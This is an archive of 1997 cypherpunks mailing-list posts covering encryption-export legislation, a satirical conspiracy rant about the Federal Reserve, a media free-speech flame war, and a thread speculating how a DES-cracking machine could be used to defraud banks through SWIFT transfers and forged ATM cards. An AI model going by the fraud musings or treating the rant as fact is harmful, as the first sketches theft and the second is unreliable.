he added.

Subcommittee members also adopted by voice vote an "en
bloc amendment" that made what they described as mostly
"technical" changes to the bill.

Subcommittee aides emphasized that the purpose of the
amendment language was to close loopholes and fix
unintended omissions contained in the underlying
legislation.

For example, the amendment expands the kinds of products
that do not have to have a validated license for export
or re-export to include "any consumer product
commercially available in the U.S. or abroad using
encryption capabilities which are inaccessible to the end
user and is not designed for military or intelligence end
use."

The amendment also expands the term "generally available"
as it is used in the bill to include hardware with
encryption capabilities. As the bill now is written, only
software with encryption capabilities is covered.

Also, the en bloc amendment added a "Sense of Congress"
section to the end of the bill.

In addition to "finding" that the president "has not been
able to come to agreement with other encryption producing
countries on export controls on encryption," the
amendment suggests the president immediately should call
an international conference to reach a policy agreement
with other encryption exporting countries.

Administration officials disapprove of this language
because they say they are "close" to reaching an
encryption export policy agreement with these countries,
one House aide said. But the administration has been
making this claim for several years, the aide said.

This legislation already has been reported favorably by
the House Judiciary Committee, which did not have
jurisdiction over the export language. The International
Relations subcommittee, however, had jurisdiction over
the most controversial parts of the bill: the export
provisions.

The bill still faces a markup in the full International
Relations Committee where there likely will be another
technical amendment, the aide said.

Meanwhile, the Senate Commerce Committee recently adopted
a so-called "compromise" encryption bill that satisfies
Clinton administration concerns about the availability of
strong encryption technology overseas.

But industry officials decry the legislation, sponsored
by Senate Commerce Committee Chairman John McCain,
R-Ariz., and Sen. Robert Kerrey, D-Neb.

Senate legislation [S. 377] that more closely resembles
Goodlatte's SAFE Act has been put on the back burner
because of Clinton administration objections. Sen. Conrad
Burns, R-Mont., is sponsoring that bill, which also is
known as Pro-CODE, or Promotion of Commerce Online in the
Digital Era Act of 1997.

-30-

TYPE*MARKUP
BILL*HR695
DATE*6/24/97


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Wed, 25 Jun 1997 12:57:19 +0800
To: cypherpunks@cyberpass.net
Subject: LOSE MONEY FAST!!
Message-ID: <199706250451.VAA24476@netcom4.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




not to encourage any paranoia or conspiracy theory, but 
this is an interesting warning I saw on another mailing list that I thought
I'd pass on---




From: xxxxx
Date: Tue Jun 24 21:49:18 PDT 1997
Subject: LOSE MONEY FAST!!


I am writing this to WARN THE PUBLIC of a very DIABOLICAL SCHEME that
is RIGHT NOW playing out in the market and ingeniously designed to separate 
GULLIBLE INVESTORS from their lawful returns. I cannot now reveal 
exactly the name of the company involved, but I will identify it by the 
initials "FRN". 

FRN directors are involved in a complex STOCK MANIPULATION SCHEME
in which they are selling additional shares of the company beyond
those in circulation, with only the hazy knowledge of the existing
stockholders. This is being done IN COLLUSION WITH GOVERNMENT
REGULATORS, who are receiving kickbacks from the operation! In other words, 
individual investors of FRN believe they own 1/n of the company, when in 
fact there are more shares in existence and they actually own far less than 
the fraction indicated on their certificates!

The additional shares are owned by directors of the company who
are secretly releasing the FRAUDULENT SHARES on the market with PRECISE 
TIMING, such that whenever the legitimate value of the company increases,
they release new shares for sale at the current share price. The
net effect is that market share prices creep up in value only marginally 
while the directors effectively INCREASE THEIR CONTROL of the corporation 
by STEALING FROM SMALLER SHAREHOLDERS. 

Some select shareholders are allowed to participate in the plan if they
increase the profitability of the company, but in their BLIND GREED have 
not done the math and do not realize that they are in effect LOSING MONEY 
even though numerically their supposed shares are compounding regularly! 
In effect the corporation is COUNTERFEITING ITS OWN SHARES under the full 
knowledge and supervision of the topmost echelons, and the general
ignorance of shareholders! This thievery is paid for courtesy of an 
ever-increasing percentage of the company's shareholders without
their awareness! 

In fact, because so many shareholders are participating, the whole
system can be thought of as a massive form of INVISIBLE SLAVERY! 
The energy of the shareholders that is successfully improving the
company is being siphoned off by their "masters", while the masters
insist that the company is not even breaking even!  Perhaps you may scoff, 
but remember, THE PERFECT SLAVE IS THE ONE WHO DOESN'T REALIZE HE'S A 
SLAVE, and an even better one RIDICULES THE POSSIBILITY. And--some 
slaves THINK THEY ARE MASTERS when in fact they are really SLAVES.
(Do you live in a "land of the free"? Are you sure?)

FRN has been operating since 1913 and has sucked in huge masses of
unsuspecting shareholders who do not realize that it is a massive pyramid
scheme that must eventually collapse! Initially the effects were negligible
but the disparities among shareholdings has been magnified exponentially
over the years.  Shareholders have not realized this EVIL TRICK 
because the company has been growing incredibly rapidly
with massive profits that are never reaped by the DESIGNATED
VICTIM SHAREHOLDERS but instead skimmed by the CONSPIRATOR'S ELITE.
A sophisticated and well-funded PR Office of the company has hypnotized
the shareholders into believing their shares are far more valuable than
they really are, even in spite of OBVIOUS SIGNS OF DEPRECIATION!

The grotesque nature of the beast is revealed in that eventually, 
with mathematical certainty, doing absolutely nothing, the SINGLE SHAREHOLDER 
who owned the greatest share at the beginning of this hoax will eventually 
OWN VIRTUALLY THE ENTIRE COMPANY, with all other shareholders owning 
virtually nothing! ("The rich get richer and the poor get poorer"-- with
some of the poorer thinking they are getting richer!) But the system will 
collapse before then after enough shareholders FEEL THE SQUEEZE.

Unfortunately, it is likely the shareholders will only realize they have 
been CHEATED and get ANGRY once the whole snake oil enterprise
CRASHES! At that point, whoever will be left holding the bag will be 
mostly random!  But what about the masters?

Hopefully when the pyramid scheme FINALLY DOES CRASH, the shareholders
will have learned their lesson, and go after those truly responsible 
instead of fighting among themselves, or at the very minimum
STOP INVESTING IN PYRAMID SCHEMES! However, history has suggested 
that the current FRN owners have been using the same strategy in 
many prior shell games and escaped many previous company "bankruptcies" 
with their wealth unscathed, and are right now shrewdly planning their 
escape route by cashing out at precisely the right instant
in their LATEST AND MOST GREATEST SKULLDUGGERY EPISODE as well! 

>From what I have heard, the plan is to then use the proceeds 
to erect the next, EVEN MORE CONSTRICTING WEALTH EXTRACTION 
AND SLAVERY SYSTEM. They have been doing this LIKE CLOCKWORK 
on a schedule of about every 60-70 years, which seems
to be about the limit of the public's memory and the lifespan of
the system. In fact, it has been going on so long the masters
have convinced the population that it's a regular and
unavoidable phenomenon!

I don't know what will happen, but I am sending this warning to
YOU PERSONALLY to check to see if you own shares in FRN, and if
so, SELL THEM IMMEDIATELY and invest your hard-earned money into
some LEGITIMATE ALTERNATIVE that doesn't steal from you merely by
owning it. Also realize that TRADING FRN SHARES, while convenient, is
PLAYING INTO THE SCAM! Quite insidiously, far more people own and
trade shares in FRN than realize it due to indirect ownership!
The MASS DELUSION is everywhere!

Eventually the corruption in the government and greed in the population
will have to be cleaned up so that companies such as FRN can never
begin operating in the first place, and THE TEMPLE IS FOREVER RID OF 
THE MONEYCHANGERS. But your FIRST DEFENSE is your own intelligence. 
Remember, YOU CAN'T CHEAT AN HONEST PERSON!

Part of the moral is to KNOW WHERE ALL THE SHARES ARE and to MAKE SURE 
THEY ADD UP TO 1!  The TREACHEROUS HIGHWAY ROBBERS will invent elaborate,
complicated, INCOMPREHENSIBLE reasons why they don't, such as talking about
what paper the stock certificates are made out of, or how high government 
taxes are, or pointing at programs for share-trading among shareholders. But
remember, this is all SMOKE AND MIRRORS--a certificate that says 1/n is
a CONTRACT no matter what kind of paper it is printed on, the entire 
government recently became ANOTHER LOSING SHAREHOLDER, and the net result
of the share-trades NEVER ESCAPES THE SHARE PARASITES! 

Please don't attack the losing shareholders! If you have problems 
identifying the thieves, remember, THEY'RE THE ONES WHO AUTHORIZED
RELEASE OF THE FRAUDULENT CERTIFICATES in the first place, IN EXCESS OF 
FACE VALUE. And they'll likely be unscathed after the collapse, but keeping
an extremely low profile! (But don't blame the printers! And don't believe 
it if the "authorizers" pretend to be the "printers"!)
 
Take back your power and DEMAND ACCOUNTABILITY, otherwise, you're just 
ANOTHER VICTIM FOR THE CON GAME! 


May God be with you--







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@vorlon.mit.edu>
Date: Wed, 25 Jun 1997 10:29:40 +0800
To: cypherpunks@toad.com
Subject: Internet knuckle-dragging from the New York Times
Message-ID: <Pine.LNX.3.95.970624221010.31832D-100000@vorlon.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Tue, 24 Jun 1997 22:03:20 -0400
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: FC: Internet knuckle-dragging from the New York Times

Wired's Todd Lappin started the flamefest last Friday. A bit
uncharacteristic, perhaps, since Todd is generally mild-mannered both
online and offline -- but then again, he had a good point and a juicy
target. It was the New York Times, which had front-paged a scaremongering
above-the-fold article by Christopher Wren:
  http://www.nytimes.com/library/cyber/week/062097drug.html

Todd posted on fight-censorship:

	The article, headlined "Seductive Drug Subculture
	Flourishes on the Internet," notes that the Net has
	become "a virtual do-it-yourself guide to drug use,
	at a time when adolescents' experimenting is on the
	rise."  Our intrepid reporter then goes on to assert
	that "partly owing to free-speech protection, the
	Internet lacks a quality control mechanism to
	separate fact from hyperbole or from  outright
	falsehood."

	Indeed, it is also because of those nettlesome
	free-speech protections that the New York Times is
	able to publish such drivel -- replete with it's
	schoolmarm fearmongering, silly correlations, and
	ankle-deep analysis.

Then the Boston Globe's technology reporter, Hiawatha Bray, leaped in...

-Declan

***********

Date: Fri, 20 Jun 1997 15:44:55 -0400
From: Hiawatha Bray <wathab@tiac.net>

Awright.  The lurking is over.

What IS your problem?  Can you point to any inaccuracies in Mr. Wren's
story?  If not, tough luck.

I'm tired of listening to so-called "free speech advocates" going ballistic
when they don't like what someone has to say.  Every time a journalist
writes a story about the seamier side of the Net, somebody complains that
this will give outsiders the wrong idea.  Nonsense.  I think what really
worries you is that such stories give people the RIGHT idea--that there are
sex fiends, dope smokers and would-be Unabombers on-line.  Well,  there
are.  And as long as there are, journalists will write about the fact.
 Don't like it?  Too bad.  Deal with it.

Hiawatha Bray
                                                        617-929-3115 voice
Technology Reporter
                                               617-929-3183  fax
Boston Globe
                                                         wathab@tiac.net
                                    P.O. Box 2378
                                    Boston, MA, 02107
                     http://members.tripod.com/~krothering/index.html

**********

Date: Fri, 20 Jun 1997 15:18:34 -0500
From: Jon Lebkowsky <jonl@onr.com>
Subject: RE: Internet Knuckle-dragging from the NYTimes

At 03:44 PM 6/20/97 -0400, Hiawatha Bray wrote:
>Awright.  The lurking is over.
>
>What IS your problem?  Can you point to any inaccuracies in Mr. Wren's
>story?  If not, tough luck.
>
>I'm tired of listening to so-called "free speech advocates" going ballistic
>when they don't like what someone has to say.  Every time a journalist
>writes a story about the seamier side of the Net, somebody complains that
>this will give outsiders the wrong idea.  Nonsense.  I think what really
>worries you is that such stories give people the RIGHT idea--that there are
>sex fiends, dope smokers and would-be Unabombers on-line.  Well,  there
>are.  And as long as there are, journalists will write about the fact.
> Don't like it?  Too bad.  Deal with it.
>

You missed the point. We all know that there are sex fiends, dope smokers,
and would-be Unabombers in this world, on the net and elsewhere. What we're
saying is that they have free speech rights, just like you. This isn't
about blowing people up. This isn't about molesting children. This isn't
about doing drugs. You don't *do* any of those things online.  But you may
talk about them.  This is about SPEECH.

***********

Date: Fri, 20 Jun 1997 13:28:27 -0800
To: Hiawatha Bray <wathab@tiac.net>, <Fight-censorship@vorlon.mit.edu>
From: "--Todd Lappin-->" <telstar@wired.com>

At 11:44 AM -0800 6/20/97, Hiawatha

>What IS your problem?  Can you point to any inaccuracies in Mr. Wren's
>story?  If not, tough luck.
>
>I'm tired of listening to so-called "free speech advocates" going ballistic
>when they don't like what someone has to say.  Every time a journalist
>writes a story about the seamier side of the Net, somebody complains that
>this will give outsiders the wrong idea.  Nonsense.  I think what really
>worries you is that such stories give people the RIGHT idea--that there are
>sex fiends, dope smokers and would-be Unabombers on-line.  Well,  there
>are.  And as long as there are, journalists will write about the fact.
> Don't like it?  Too bad.  Deal with it.


This is complete and utter bullshit.

I didn't say Wren's article was inaccurate... I said it is a load of
sensationalist crap, laden with half-baked innuendo and unsubstantiated
correlations.

Don't pull the "so-called 'free speech advocate'" horsepucky with me
either.  I'm not calling for censorship of the Times... I'm simply saying
that their story was garbage.  Of course, they have a right to print
garbage... but I also think they have an obligation to recount the facts
accurately, and in proper context.

This article failed to to that.  Instead, it implies that Websites use
cartoons to tempt the young (as if cartoons are only for the young), and
that the availability of drug info online somehow ties in to the fact that
"adolescents' [drug] experimenting is on the rise.

That's both absurd and factually unsubstantiated.

I have no problem discussing the darker side of the Net... I do so
regularly and openly. But I'm fed up with the "Internet Did It" genre of
newspaper reporting.  It's shoddy, and worse, it's dangerous  -- because it
promotes public hysteria through techno-fearmongering.

Deal with it.

--Todd-->

PS: Jon Lebkowsky's last point was excellent.

************

Date: Fri, 20 Jun 1997 13:35:46 -0700 (PDT)
From: baby-X <baby-x@millennium-cafe.com>

On Fri, 20 Jun 1997, Hiawatha Bray wrote:

> I'm tired of listening to so-called "free speech advocates" going ballistic
> when they don't like what someone has to say.  Every time a journalist
> writes a story about the seamier side of the Net, somebody complains that
> this will give outsiders the wrong idea.  Nonsense.  I think what really
> worries you is that such stories give people the RIGHT idea--that there are
> sex fiends, dope smokers and would-be Unabombers on-line.  Well,  there
> are.  And as long as there are, journalists will write about the fact.
>  Don't like it?  Too bad.  Deal with it.

Either educate yourself about the fact that what these stories portray as
some virulent epidemic of "bad" information is never anywhere near as severe
as the hysteria said stories try to foster (for example, go spend this
weekend reading all of Jon Katz over at the Netizen), or go back to lurking.

************

Date: Fri, 20 Jun 1997 16:57:49 -0400
From: freematt@coil.com (Matthew Gaylor)

>Awright.  The lurking is over.
>
>What IS your problem?  Can you point to any inaccuracies in Mr. Wren's
>story?  If not, tough luck.
>
>I'm tired of listening to so-called "free speech advocates" going ballistic
>when they don't like what someone has to say.  Every time a journalist
>writes a story about the seamier side of the Net, somebody complains that
>this will give outsiders the wrong idea.  Nonsense.  I think what really
>worries you is that such stories give people the RIGHT idea--that there are
>sex fiends, dope smokers and would-be Unabombers on-line.  Well,  there
>are.  And as long as there are, journalists will write about the fact.
> Don't like it?  Too bad.  Deal with it.

Rather than write sensationalist stories on rather rare crimes in tabloid
fashion-  [Not that you are guility of this.]

I'd personally rather see journalists mention that in comparison to kids
swimming, riding a bike, or even playing a game of summer baseball-  The
chances of harm to children surfing the net is infinitesimal.


Regards,  Matt-

********

From: Hiawatha Bray <wathab@tiac.net>
To: "Fight-censorship@vorlon.mit.edu" <Fight-censorship@vorlon.mit.edu>
Date: Fri, 20 Jun 1997 17:07:08 -0400

Hmmm...how can I put this?  The quality of the responses to my previous
message was, well...lame.

I don't do flame, so I'm trying to be courteous about this.  But folks--you
need to grow up.

********

Date: Fri, 20 Jun 1997 14:05:31 -0700
To: fight-censorship@vorlon.mit.edu
From: Lizard <lizard@dnai.com>

At 03:44 PM 6/20/97 -0400, you wrote:
>Awright.  The lurking is over.
>
>What IS your problem?  Can you point to any inaccuracies in Mr. Wren's
>story?  If not, tough luck.
>
If every week, all you saw in the papers were stories of journalists who
beat their wives, jounalists who were arrested on drunk driving charges,
journalists who falsified facts, and journalists who were late on their
child-support payments, would you simply be content to know that all the
stories were accurate? Or would you beging to think that maybe, just maybe,
there was a slant?

What you choose to report on is as important as the accuracy of the report.
What makes this story newsworthy? Why the snide reminder that it's that
darn ol' Free Speech thing that keeps these sites from being shut down? Why
the emphasis on how 'anyone' can post stuff to the net, since there's no
business interest to keep them controlled?

It's 100% pure propaganda, designed to stir up calls for a law to prevent
distributing 'drug information' to minors, what with the pending (we hope
-- well, *I* hope -- you probably don't) collapse of the CDA.

You know it is, too. why are you defending it?

***********

Date: Fri, 20 Jun 1997 14:15:31 -0700 (PDT)
From: baby-X <baby-x@millennium-cafe.com>
To: "Fight-censorship@vorlon.mit.edu" <Fight-censorship@vorlon.mit.edu>
Subject: RE: Internet Knuckle-dragging from the NYTimes

On Fri, 20 Jun 1997, Hiawatha Bray wrote:

The following is an example of why we don't hold your opinions to be of very
much worth:

> At no point does Mr. Wren say that Internet use among the young causes
> increased drug abuse.  He merely notes that a communications medium very
> popular with young people is laden with messages that encourage drug use,

Laden? Here is the definition of laden from the Hypertext Webster Gateway:

Definition for Laden from database web1913 (web1913)

   Laden \Lad"en\, p. & a. Loaded; freighted; burdened; as, a laden
   vessel; a laden heart.

Loaded? Freighted? Burdened? It's the use of this sort of hysteria-tinted
language that causes so many problems in establishment media ocverage of
cyberspace.

We know, from use of words like this one, what YOUR bias is in these cases.
We're just trying to keep that bias from infecting too much media coverage.


      baby-X <baby-x@millennium-cafe.com>
  -----------------------------------------------------------------------
      BitBurn Access - CyberPOLIS - Millennium Cafe - Sluggish Canine
  -----------------------------------------------------------------------
                              http://www.millennium-cafe.com/~baby-x/


*************

Date: Fri, 20 Jun 1997 17:19:19 -0400 (EDT)
From: Rebecca Daugherty <rebeccad@CapAccess.org>
To: Hiawatha Bray <wathab@tiac.net>

I think it's at least philosophically inaccurate to blame the net for the
action.  It's like killing the messenger, cursing the pen.  And it's too
sure 'n easy a spin  -- bad ole technology has done this too us.  um.um.um.

There are changes to note -- there are new kinds of technologically
proficient pedophiles and they merit some ink so they can be combatted. But
the net is the same old net and a benign one with no seamy side at all in
my thinking.

--------------------------------------------------------------------------
Rebecca Daugherty <rebeccad@capaccess.org>
Director, FOI Service Center, Reporters Committee for Freedom of the Press
Visit our web site for media law information: http://www.rcfp.org/rcfp/

**************

Subject: Re: Internet Knuckle-dragging from the NYTimes
Date: Fri, 20 Jun 1997 18:07:19 -0400
From: Thomas Grant Edwards <tedwards@isr.umd.edu>

In fairness, I don't see many stories in the media about guns except
in consideration of their use for murder or suicide.  Infact, the Net
gets off much easier than guns!

-Thomas

**************

Date: Fri, 20 Jun 1997 15:54:47 -0700
To: Hiawatha Bray <wathab@tiac.net>
From: Lizard <lizard@dnai.com>
Subject: RE: Internet Knuckle-dragging from the NYTimes
Cc: fight-censorship@vorlon.mit.edu

At 06:22 PM 6/20/97 -0400, Hiawatha Bray wrote:
>I gotta admit, I find your reply irresistible!   Much too much fun to argue
>with.  Okay.  You win.  You get to be Lizard.
>
>But you're still talking nonsense about the Times story.  Just because it
>makes you nervous to read nastiness about the Net, doesn't make it wrong
>for journalists to write the truth.  Besides, have you ever kept count of
>how many pro-Net stories there are?  If anything, we reporters have been
>guilty of shamelessly hyping the Internet.  I could probably show you 10
>positive stories about the Internet for every negative one.  Trust me--I
>end up reading nearly all of them...it's the cross I must bear!
>
Very few 'pro internet' stories deal with the REAL benefits of the Internet
-- the breakup of the media monopoly, the 'everyone is a reader, everyone
is a writer' concept, the building of communities of interest rather than
coincidence. We all know about children meeting Evil Predators on the net
-- why not stories about children meeting mentors, teachers, or counselors?
Rather than "My wife left me for her cyberlover!", why not "I met my wife
thanks to our shared interest in barbed-wire collecting"?

Let's look at that drug story. Why not write it like this?
====================================================
"After decades of getting only one side of the story from teachers,
government, and a lapdog media, teenagers are now able to easily access
both pro- and anti- drug information on the Internet, and chat with each
other about their drug experiences in secure anonymity, permitting them to
make up their own minds on this complex issue.

Because Internet access is so inexpensive, people do not need the support
of advertisers or subscribers to post any information they wish -- so views
outside the mainstream, which would never be aired in traditional forums,
can reach anyone with a modem, anywhere in the world. Further, the
interactive nature of the net makes it easy for people on all sides of a
debate to fire off points and counterpoints, so that the audience (who can
become participants at will) can make up their own minds, ask questions,
and raise issues that neither side might choose to raise on their own.

"It's wonderful for kids", says Mr. Fictional, teacher at Utopia Public
School. "We don't want them to 'Say No to Drugs' out of fear or ignorance,
but out of a reasoned understanding of the harm drugs can do to them -- and
that means they need to get the facts, not a lot of scare tactics. The
government would never let us teach the 'straight dope', if you will, but
we can turn kids on to the net and let them learn for themselves."
====================================================

There. There's all the "facts" -- but a very different spin, no?

************

Date: Fri, 20 Jun 1997 16:53:29 -0500
From: Jon Lebkowsky <jonl@onr.com>
Subject: RE: Internet Knuckle-dragging from the NYTimes

>Very nice.  But so what?  Mr. Wren simply reported what's going on.  He
>never called for censorship of the Internet.  Were you reading the same
>article I was, or what?

Yeah, the article that said "partly owing to free-speech
protection, the Internet lacks a quality control mechanism to separate fact
from hyperbole or from  outright falsehood."

While not exactly a call for censorship, this is certainly dismissive of
free speech.

************



--------------------------------------------------------------------------
This list is public. To join fight-censorship-announce, send
"subscribe fight-censorship-announce" to majordomo@vorlon.mit.edu.
More information is at http://www.eff.org/~declan/fc/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kris Carlier <root@iguana.be>
Date: Wed, 25 Jun 1997 04:22:34 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: Who is going to HIP'97?
In-Reply-To: <Pine.LNX.3.91.970624130317.724D-100000@fatmans.demon.co.uk>
Message-ID: <Pine.LNX.3.95.970624221613.16739A-100000@inlimbox.iguana.be>
MIME-Version: 1.0
Content-Type: text/plain



Hi Paul,

> Do you know what crypto presentations are taking place? I think Lutz 
> Donnerhacke is giving a presentation on smart card security and 
> supposedly there is some GSM stuff.

Imvho Lutz will speak about ActiveSomething... Very actively insecure for
sure.

kr=

                   \\\___///
                  \\  - -  //
                   (  @ @  )
 +---------------oOOo-(_)-oOOo-------------+
 |     kris carlier - carlier@iguana.be    |
 | Hiroshima 45, Tsjernobyl 86, Windows 95 |
 | Linux, the choice of a GNU gener8ion    |
 |            SMS: +32-75-61.43.05         |
 +------------------------Oooo-------------+
                  oooO   (   )
                 (   )    ) /
                  \ (    (_/
                   \_)







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Omegaman <omegam@cmq.com>
Date: Wed, 25 Jun 1997 12:02:15 +0800
To: "Philip A. Mongelluzzo" <phimon@ix.netcom.com>
Subject: Re: spam on this list
In-Reply-To: <3.0.2.32.19970623063123.0092e8c0@popd.ix.netcom.com>
Message-ID: <199706250345.WAA19792@jolietjake.com>
MIME-Version: 1.0
Content-Type: text/plain



"Philip A. Mongelluzzo" <phimon@ix.netcom.com> writes:

> How do we deal with child pornography and free speech in such a way
> as to allow both to exist and insure our children are not exposed to
> pornographic material until they are at a maturity level where they
> can deal with it?

As a parent, that's _your_ problem.  If you really believe that the
Internet is the great source of unfettered "pornography" that your
child will encounter before he/she/it "are at a maturity level where
they can deal with it", I have some swampland to sell you in Alaska.

Take your kid out of school now.  Make sure he/she/it has no contact
with other children or the outside world.

Unless they're infants, your kids are dealing with it NOW.

Stop kidding yourself.  

Honestly, Phillip, I don't envy your position, but I think you need to
rethink your perspective.   Start by assuming that your kids will be
exposed to adult issues _long_ before they've reached what you
consider the appropriate maturity level.

>  If pornography is the enemy of crypto then that is enemy that must
> be fought.  

????

> A battle that must be won without killing the enemy to
> insure continued free speech.  Quite a challenge I think.  Now, do
> you have any idea how to do that? 

I think that you're on the wrong list.


--
---------------------------------------------------------------------
Omegaman <mailto:omegam@cmq.com>|"When they kick out your front door,
   PGP Key fingerprint =        | How are you gonna come? 
   6D 31 C3 00 77 8C D1 C2      | With your hands upon your head,   
   59 0A 01 E3 AF 81 94 63      | Or on the trigger of your gun?" 
Send email with "get key" as the| -- The Clash, "Guns of Brixton"
"Subject:" to get my public key |   _London_Calling_ , 1979
---------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 25 Jun 1997 14:04:49 +0800
To: cypherpunks@toad.com
Subject: GAH--Government Access to Humor
Message-ID: <199706250550.WAA26851@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



>From the News of the Weird:

* Unclear on the Concept:  In January, Bamrer Pong-insee, a
spokesman for the Professional Comedians Association of
Thailand, said its members will soon be prohibited by rule from
being impolite on stage.  Especially barred are obscene language,
physical humor in which pain is implied, and being disrespectful to
a colleague's parents.

  In reading the above, I realized that in order for the policy to work
properly there will have to be penalties for audience members who laugh
at inappropriate (illegal?) humor. A suitable agency will have to be
formed to enforce these new regulations. Soon the Laughing Police will
be no laughing matter.
  Politicians will be falling all over each other to show the voters
that they are "hard on crime" and will eventually call for the death
penalty for violators. (Sending them to the Laughing-Gas chamber.)

SeriousMonger
{I tried to make it in comedy, but everyone laughed at me.}






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 25 Jun 1997 14:04:46 +0800
To: cypherpunks@toad.com
Subject: Re: Bomb-making instructions....
Message-ID: <199706250551.WAA26895@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley wrote:

> I personally know no chemistry at all, but what would be nice is if
> someone who knows what they are doing wrote an "anarchists cookbook" type
> set of files, but this time got them right so anyone attempting any of
> the recipes wouldn`t be killed.

  People named "Lefty" need not apply...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 25 Jun 1997 06:45:26 +0800
To: tcmay@got.net
Subject: Re: Making _Real_ Money off a DES Break
In-Reply-To: <v03102803afd5c15420c6@[207.167.93.63]>
Message-ID: <199706242156.WAA00196@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Tim May <tcmay@got.net> writes:
> At 10:54 AM -0700 6/24/97, Adam Back wrote:
> >
> > $100,000 for a machine to break DES in an average of  35 hrs
> ...
> >35 hours sounds a reasonable amount of time to break a Swift banking
> >transfer key protecting trillions of dollars of funds.
> >
> 
> Show me the money! A DES break that resulted in a loss of several tens of
> millions of dollars, suitably publicized, would be both educational and
> rewarding.
> 
> We often talk about the "threat model." But what's the _profit model_ for
> breaking DES?

Who says it hasn't been done?  It's not as if the banks would be keen
to advertise this.

You remember a while back some Russians (including one "mathematician"
according to news reports) had succeeded in fleecing a US bank of
several mil and routing the money to various banks around the world.
Until they got caught.  The news reports said the US bank(s) wanted to
talk to him to find out how he did it.  I was always curious as to
what that Russian did to crack bank security.  I conjecture that it is
possible that he built a wiener machine, and that the bank hushed up
the story.  (And switched to 3DES post haste:-)


Also re. $100k = price of a ferrari and there are plenty of mobsters
around with that kind of money, that price was 1993 price.  Maybe at
1997 prices $100k would get you down to a few hours again.  How small
are the moving windows?

Re. the "profit model" there were several possibilities discussed
around the time the DES crack was starting, before Peter Trei
persuaded RSA to make a challenge.  One was a european ATM card which
had a master DES key, and this was part of some standardisation thing
(each bank had it's own DES key, plus all participating banks allowed
this master key).  But it's not much fun making profit off ATM
machines -- they have cameras in them, and the cash you can draw on
one card in a 24hr period isn't that much.  You'd have to produce
hundreds of faked cards, and have a whole host of accomplices running
around emptying cash machines.  Tricky logistics, many participants ->
increased chance of getting caught.  Not that easy to cash in on.

One factor that hasn't really been discussed much is the possibility
of amortizing cost.  You build the DES breaking machine, and if you
use it to break 1000 DES keys, that's $1k per key.  Starting to open
up even lower end applications with good organisation.

I'm sure there were a couple of things discussed where there were some
interbank transfers which relied on DES.  Moving window means you've
got to break the keys fast, as you say.  Also I wonder how easy it is
to siphon the money and make it disappear with all the auditing.  (aka
may be you could invest 1 mil and build a fast key breaker, transfer
lots of money, but so what if the audit trail points fairly and
squarely at you?  Cash the money quick and buy unconditional
immunity in Belzize?)


btw I now have a text only version of the wiener paper up on:

	http://www.dcs.ex.ac.uk/~aba/crypto-papers/

sans diagrams.  (ps2ascii is your friend).  As well as the postscript.
Some people can't handle postscript.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Wed, 25 Jun 1997 14:05:06 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Wiener paper (was Re: Comparing Cryptographic Key Sizes)
In-Reply-To: <199706241754.SAA00563@server.test.net>
Message-ID: <33B0B3AE.A9CDA6E4@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back wrote:
> 
> Re comments that I should re-read the paper, here is what Wiener's
> paper says about estimated costs of a specialized DES key breaker:
> 
>  $100,000 for a machine to break DES in an average of  35 hrs
>  $1 mil   for a machine to break DES in an average of 3.5 hrs
>  $10 mil  for a machine to break DES in an average of  21 mins
> 
> It was as Peter says published in 1993.
> 
> Wiener also budgets for $500,000 in design costs (wages, parts, fab
> etc).
> 
> Another interesting part of the design is that it is based on a
> pipelined chip, clocked at 50Mhz which can try 50 Million keys/sec.
> 
> 35 hours sounds a reasonable amount of time to break a Swift banking
> transfer key protecting trillions of dollars of funds.

One thing that I haven't heard anybody mention yet is that if time is
important, you can break keys in an arbitrarily short period of time,
if there's a continuous sequence of transactions.  Assume it takes 35
hrs to crack a key (with 50% probability), This means that you have a
1.4% chance to crack it in one hour.  If you give up after an hour and
pick a new transaction to crack, you have a 50% chance of cracking at
least one transaction after 48 hours, and they will all have been
cracked in less than an hour.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Omegaman <omegam@cmq.com>
Date: Wed, 25 Jun 1997 12:24:39 +0800
To: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Subject: Re: The spam thread
In-Reply-To: <Pine.SOL.3.91.970624093724.9216A-100000@hardy.ocs.mq.edu.au>
Message-ID: <199706250407.XAA19821@jolietjake.com>
MIME-Version: 1.0
Content-Type: text/plain



Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au> writes:

> 1. What about my rights to privacy, and my rights to my mailbox that I 
> pay for. Why should it be used as an advertising medium if i font want it 
> to be used for one ??
> 

